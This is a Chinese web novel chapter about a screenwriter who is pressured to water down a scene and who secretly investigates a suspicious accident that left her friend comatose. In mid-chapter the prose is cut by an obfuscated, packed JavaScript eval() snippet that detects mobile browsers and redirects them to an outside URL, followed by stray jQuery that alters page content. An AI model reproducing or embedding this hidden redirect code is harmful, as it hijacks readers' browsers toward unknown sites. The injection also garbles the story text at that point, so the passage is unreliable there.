监视器里，男人的眼泪落得毫无征兆。
他直挺挺地站着，嘴角抽搐两下，眼眶突然红了，泪珠大颗大颗往下滚。
没有前奏，没有过渡，像被人突然按了开关。
“咔！”
导演王海平的声音从对讲机里传出来，带着点敷衍的满意。
棚里窸窸窣窣响起松气的声音。
场务小跑着递上纸巾，男演员江琛接过，仔细擦了擦眼角，转头问导演。
“王导，这条情绪够吗？”
“够够够，”王海平摆手，“休息十分钟。”
温清水合上手里的剧本。
纸页的边缘已经磨得发毛。
江琛被助理簇拥着往休息区走，路过她时带起一阵风，空气里有昂贵的香水味。
温清水把剧本抱在胸前。
没有抬头看。
“放饭了——！”
剧务扯着嗓子喊。
人群像退潮一样往棚外涌。
江琛上了那辆白色的房车，车门关上，帘子拉得严实。
温清水在放器材的木箱上坐下，掀开那份塑料盒饭。
凉透的米饭结着油块，青菜蔫黄地贴在格子里，一块红烧肉浮着白腻的油光。
她掰开一次性筷子，听见有人喊她。
“温编。”
副导演老陈站在棚口，朝她招手，“王导让你过去一趟，房车上。”
房车空调开得足，和外面寒冷的冬天像是两个世界。
王海平盘腿坐在小桌对面，面前摆着两盒还冒热气的便当。
是鳗鱼饭，在剧组粗糙的简餐衬托下显得格外精致。
他推了一盒到温清水面前。
“坐。”
温清水没动那盒饭，只是坐下，手放在膝盖上。
“这几天辛苦，”王海平扒了口饭，含糊地说，“剧本整体不错，就是有些细节……”
他顿了顿，抽出纸巾擦了擦嘴。
“第四十二场，江琛那段哭戏，得改。”
温清水抬起头，略带疑惑地看向他。
“他经纪人早上来找过我，”王海平喝了口茶，眼睛没看她。
“她说江琛最近在综艺里立的是‘硬汉’人设，剧本里那段崩溃大哭的戏，不太符合。希望改成忍着不哭，最好背对镜头，肩膀抖一抖就行。”
车厢里安静了一会儿，只有空调嗡嗡地响。
温清水看着桌上那盒鳗鱼饭里反光的酱汁，轻轻“嗯”了一声。
“我知道你写那段花了心思，”王海平的声音低了些，“但你也明白，咱们这剧三个月拍完，平台等着播，投资方要看流量，有些事，我也没办法。”
“我明白您的意思。”温清水回答。
“改完晚上发我邮箱就行，不用大动。”
“好。”她应声同意。
她从房车上下来时，外面的天已经蒙上一层灰蓝。
剧组还在赶夜戏，灯光把半个棚照得惨白。
温清水没回棚里。
她背着包走出影视基地，在街角的花店买了一束白桔梗。
店主用牛皮纸包好，递给她时说了句“这花开得正好”。
医院走廊的消毒水味永远混着一种衰败的甜。
温清水推开病房门，床头监护仪发出规律的滴答声。
她把花插进窗边的玻璃瓶，在床边的椅子上坐下。
桑晚躺在那里，和三个月前没什么不同。
头发被护工梳得整齐，嘴唇有一点干，但脸色还算好。
窗外的暮色透过百叶窗，在她脸上映出恍惚的光影。
“今天剧组又改戏了。”
温清水的声音很轻，像怕吵醒什么。
“第四十二场，我本来写了他跪下来哭，现在改成站着，连脸都不用露。”
她顿了顿，伸手理了理桑晚耳边的碎发，“你会骂我的吧。说我怂。”
监护仪的绿线平稳地爬过屏幕。
“但我还得写下去，”温清水继续说，声音更轻了，“得在这个圈子里待下去。待下去，才有更多机会。”
她伸手替桑晚掖了掖被角。
窗外的天色完全暗了，城市灯火一盏盏亮起来。
温清水在病房里坐了一个小时，起身时腿有些麻。
她走到门口，又回头看了一眼。
桑晚安静地睡着，好像连胸口的起伏都看不到。
手机在口袋里震动。
温清水走到电梯口才拿出来看，是那个私人侦探发来的消息。
一个没有头像的陌生号码。
“司机李海城的妻子，三年前在老家买了一套房，全款。儿子去年出国念书，中介费就交了三十万。”
电梯门开了，里面空无一人。
温清水走进去，指尖在屏幕上悬了一会儿，打字：“资金来源能查吗？”
对方回得很快：“难。但李海城死后，他妻子账户分三次收到境外汇款，加起来四百多万。警方当年定性普通肇事逃逸，没往深了查。”
电梯下到一楼，门开时灌进来夏夜湿热的风。
温清水站在医院门口，看着那条信息，很久没动。
“继续查。”她最终回复。
“得加钱。”
“月底给你。”
她回复得干脆。
对方没再回。
温清水把手机放回口袋，沿着人行道慢慢走。
路灯把她的影子拉长又缩短，周而复始。
房子在城东一个新小区，十二楼，一百二十平。
钥匙转动时，门内一片寂静。
温清水推开门，按下墙上的开关，暖黄色的灯光洒下来。
客厅的布置很简单，米色的沙发，原木色的书架，墙上挂着几幅水墨画。
是当年和桑晚一起挑的。
阳台上的绿萝长得茂盛，垂下来的藤蔓几乎要触到地面。
温清水给自己煮了碗面，坐在餐桌前安静地吃完，洗了碗，擦干台面上的水渍。
书房的书架上塞满了剧本和电影理论书。
她打开电脑，屏幕亮起时映出她有些疲惫的脸。
《编剧的叙事结构》和《电影语言进阶》两个文件夹。
里面存着几十个G的课程视频，是这些年攒下来的。
她戴上耳机，点开最新一节。
讲师的声音从耳机里传出来，平稳又清晰，讲着三幕剧的变体结构。
温清水跟着记笔记，落笔声在安静的夜里格外清晰。
窗外的城市渐渐安静下来。
第二天剧组格外热闹。
温清水刚进棚，就看见一堆人围在导演椅那边，笑声一阵高过一阵。
执行导演老陈眼尖看见她，连忙招手。
“温编，快来，晏小少爷来探班了！”
人群中央，导演王海平半蹲着，正笑眯眯地和一个小男孩说话。
孩子大概五六岁，穿着定制的浅灰色小西装，头发梳成了背头，手里拿着个最新款的平板电脑。
“这是我们这部剧的编剧，温清水老师。”王海平介绍得格外正式。
小男孩抬起头，上下打量温清水一眼。
他的眼睛很亮，带着一种被宠惯了的审视。
“剧本我看了，”他说，声音稚嫩却有种莫名的老成，“第三集节奏太慢。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165530|196696||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
周围的人都笑起来，捧场地鼓掌。
“晏小少爷真厉害，这么小就会看剧本了！”
“不愧是晏董的孙子，基因就是好！”
晏明泽——晏氏集团第三代唯一的男孙。
温清水昨晚查资料时看到过这个名字。
晏家早年做航运起家，后来垄断了沿海几个港口的物流，如今触角伸向金融、科技、文娱，盘根错节。
这部剧最大的投资方，就是晏氏旗下的星光传媒。
“命好。”旁边一个场务小声嘀咕，被她听见了。
温清水没说话，转身往监视器那边走。
今天拍第四十二场，是她昨晚改到凌晨三点的那场。
江琛已经就位，补光灯下他的脸轮廓分明。
场记板打响，他转身背对镜头，肩膀开始颤抖。
抖得很规律，像在数拍子。
“好！停！”王海平喊。
江琛瞬间收了表演，转头问导演，“王导，这条可以吗？”
“可以可以，特别好，”王海平对着对讲机说，“情绪特别克制，高级！”
温清水坐在监视器侧后方的小凳上，看着屏幕里回放的画面。
男人背对镜头，肩膀抖动，确实很“硬汉”。
也很空洞。
她低头翻开剧本，自己写的那段批注还在。
[此处悲痛应压抑，通过肢体细微颤抖和呼吸变化呈现，重点要落在演员的表情上]
现在看来，显然背道而驰。
棚里的空调冷气开得很足，温清水却觉得有些闷。
她合上剧本，起身往棚外走。
正午的阳光白得刺眼，影视基地里到处都是忙碌的人群。
另一个棚在拍古装戏，穿着盔甲的群演蹲在树荫下吃盒饭，盔甲下露出湿透的短袖。
温清水站在阴影里，看着那片刺眼的光。
手机在口袋里震了一下。
她拿出来看，是那个侦探发来的新消息：
“查到当年处理事故的交警，三年前提前退休，现在在海南买了别墅。”
后面附了张模糊的照片，一个中年男人在泳池边晒太阳，肚腩松弛。
温清水不小心滑到了上一张。
她盯着那张照片看了很久，直到屏幕自动熄灭，映出她自己模糊的脸。
是很久之前拍的。
桑晚站在一棵翠绿的杏树前，笑得眼睛弯成月牙。
她说，等我们有钱了，就买个带院子的大房子，种满院子的杏树，这样她就有很多杏子吃。
温清水熄了屏，把手机放回口袋。
棚里传来导演喊“下一场准备”的声音。
她转过身，重新走进那片人造的冷光里。
监视器屏幕上，新的场景正在搭建。
道具组搬来昂贵的实木家具，美术指导指挥着调整花瓶的角度。
一切都在为下一场“完美”的表演做准备。
温清水在自己的位置上坐下，翻开剧本。
笔尖悬在纸面上，停顿了很久。
最终落下去，划掉了另一段她曾坚持的描写。
划掉的墨水在纸面上晕开一小片。
像一滴没落下来的泪。
窗外，晏明泽被众人簇拥着上了黑色的宾利。
车门关上前，他回头朝剧组棚看了一眼，眼神干净又傲慢。
车开走了。
棚里，江琛又开始背台词，声音平静无波。
温清水低下头，继续改她的剧本。
笔尖划过纸面，沙沙地响。
一声，又一声。
像蚕在吃桑叶。